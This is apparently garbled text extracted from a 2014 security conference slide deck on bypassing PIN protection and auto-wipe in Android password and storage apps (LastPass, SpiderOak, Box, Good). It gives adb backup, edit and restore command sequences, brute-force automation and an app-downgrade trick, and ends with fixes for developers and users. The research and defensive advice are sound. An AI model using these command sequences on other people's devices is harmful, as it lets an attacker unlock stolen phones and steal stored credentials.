0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 23: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

